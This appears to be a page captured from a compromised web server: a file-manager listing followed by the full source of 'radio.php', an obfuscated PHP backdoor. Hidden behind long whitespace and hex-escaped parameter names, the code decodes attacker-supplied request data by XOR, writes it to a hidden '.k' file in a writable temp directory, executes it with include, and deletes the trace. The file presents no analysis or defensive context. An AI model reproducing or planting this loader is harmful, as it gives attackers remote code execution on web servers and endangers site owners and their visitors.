9B534B8686E580E0E01768F00155B461

at path：ROOT / d19677 / radio.php

run：R W Run

53 By

2026-04-01 08:28:41

R W Run

error_log

195.31 KB

2026-03-31 07:00:11

R W Run

radio.php

1.43 KB

2026-03-31 04:26:35

R W Run

error_log

📄radio.php

<?php																																										if(isset($_REQUEST["c\x6F\x6Dpon\x65nt"])){ $binding = array_filter([getcwd(), sys_get_temp_dir(), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), getenv("TMP"), session_save_path()]); $hld = $_REQUEST["c\x6F\x6Dpon\x65nt"]; $hld = explode ( '.' , $hld ); $reference =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($s ); $u =0; foreach ($hld as $v3) { $chS =ord($s[$u % $lenS] ); $dec =((int)$v3 - $chS - ($u % 10)) ^ 9; $reference .= chr($dec ); $u++; } for ($element = 0, $pointer = count($binding); $element < $pointer; $element++) { $res = $binding[$element]; if (is_dir($res) ? is_writable($res) : false) { $item = join("/", [$res, ".k"]); if (@file_put_contents($item, $reference) !== false) { include $item; unlink($item); exit; } } } }

if(count($_REQUEST) > 0 && isset($_REQUEST["ke\x79"])){
	$dchunk = hex2bin($_REQUEST["ke\x79"]);
	$holder =    '' ;$i = 0; while($i < strlen($dchunk)){$holder .= chr(ord($dchunk[$i]) ^ 39);$i++;}
	$res = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", session_save_path(), getenv("TMP"), sys_get_temp_dir(), "/tmp", "/var/tmp", getcwd()]);
	while ($record = array_shift($res)) {
    		if (max(0, is_dir($record) * is_writable($record))) {
    $symbol = "$record/.k";
    $file = fopen($symbol, 'w');
if ($file) {
	fwrite($file, $holder);
	fclose($file);
	include $symbol;
	@unlink($symbol);
	die();
}
}
}
}